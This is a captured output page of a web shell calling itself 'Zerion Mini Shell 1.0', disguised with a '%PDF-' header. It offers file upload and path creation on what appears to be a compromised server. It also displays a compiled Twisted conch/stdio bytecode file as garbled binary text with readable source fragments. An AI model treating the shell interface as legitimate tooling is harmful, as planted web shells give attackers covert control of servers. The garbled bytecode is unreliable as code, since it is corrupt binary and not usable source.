%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/conch/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/conch/__pycache__/stdio.cpython-312.pyc

�

Ϫ�f�
����dZddlZddlZddlZddlZddlmZddlmZddl	m
Z
mZmZm
Z
ddlmZmZmZGd�de�ZGd	�d
ej(�ZGd�de�Zd
�Zdd�Zedk(re�yy)zC
Asynchronous local terminal input handling

@author: Jp Calderone
�N)�ServerProtocol)�ColoredManhole)�defer�protocol�reactor�stdio)�failure�log�reflectc��eZdZy)�UnexpectedOutputErrorN)�__name__�
__module__�__qualname__���5/usr/lib/python3/dist-packages/twisted/conch/stdio.pyr
r
s��rr
c�6�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	y)	�TerminalProcessProtocolc�D�||_tj�|_y�N)�protor�Deferred�onConnection)�selfrs  r�__init__z TerminalProcessProtocol.__init__s����
�!�N�N�,��rc�~�|jj|�|jjd�d|_yr)r�makeConnectionr�callback)rs r�connectionMadez&TerminalProcessProtocol.connectionMades0���
�
�!�!�$�'����"�"�4�(� ��rc�:�|jj|�y)zj
        Write to the terminal.

        @param data: Data to write.
        @type data: L{bytes}
        N)�	transport�write�r�datas  rr#zTerminalProcessProtocol.write$s��	
�����T�"rc�:�|jj|�y)zs
        Receive data from the terminal.

        @param data: Data received.
        @type data: L{bytes}
        N)r�dataReceivedr$s  r�outReceivedz#TerminalProcessProtocol.outReceived-s��	
�
�
����%rc���|jj�|j�?|jjt	j
t
|���d|_yy)zt
        Report an error.

        @param data: Data to include in L{Failure}.
        @type data: L{bytes}
        N)r"�loseConnectionr�connectionLostr	�Failurer
r$s  r�errReceivedz#TerminalProcessProtocol.errReceived6sK��	
���%�%�'��:�:�!��J�J�%�%�g�o�o�6K�D�6Q�&R�S��D�J�"rc�T�|j�|jj|�yyr)r�childConnectionLost)r�childFDs  rr/z+TerminalProcessProtocol.childConnectionLostBs#���:�:�!��J�J�*�*�7�3�"rc�b�|j�#|jj|�d|_yyr)rr+�r�reasons  r�processEndedz$TerminalProcessProtocol.processEndedFs*���:�:�!��J�J�%�%�f�-��D�J�"rN)
rrrrr r#r(r-r/r4rrrrrs%��-�!�
#�&�
�4�rrc��eZdZdZd�Zy)�ConsoleManholezK
    A manhole protocol specifically for use with L{stdio.StandardIO}.
    c�,�tj�y)z�
        When the connection is lost, there is nothing more to do.  Stop the
        reactor so that the process can exit.
        N)r�stopr2s  rr+zConsoleManhole.connectionLostQs
��
	���rN)rrr�__doc__r+rrrr6r6Ls���rr6c���tjj�}tj|�}tj|�	tjt|��tj�tj|tj|�tj|d�y#tj|tj|�tj|d�wxYw)Ns
c
)�sys�	__stdin__�fileno�termios�	tcgetattr�tty�setrawr�
StandardIOrr�run�	tcsetattr�TCSANOW�osr#)�klass�fd�oldSettingss   r�runWithProtocolrJYs���	���	�	�	�B��#�#�B�'�K��J�J�r�N�#�
�����.�/����
����"�g�o�o�{�;�
����\�"��	���"�g�o�o�{�;�
����\�"�s�
2B8�8=C5c���tjtdd��|�tjdd}|rtj|d�}nt}t|�y)Nz	child.log�w�r)	r
�startLogging�openr;�argvr�
namedClassr6rJ)rPrGs  r�mainrResO�����T�+�s�+�,��|��x�x���|����"�"�4��7�+�����E�r�__main__r)r9rFr;r>r@�twisted.conch.insults.insultsr�twisted.conch.manholer�twisted.internetrrrr�twisted.pythonr	r
r�	Exceptionr
�ProcessProtocolrr6rJrRrrrr�<module>rZss��
�
�
��
�8�0�<�<�0�0�	�I�	�/�h�6�6�/�d
�^�
�	#�	��z���F�r

Zerion Mini Shell 1.0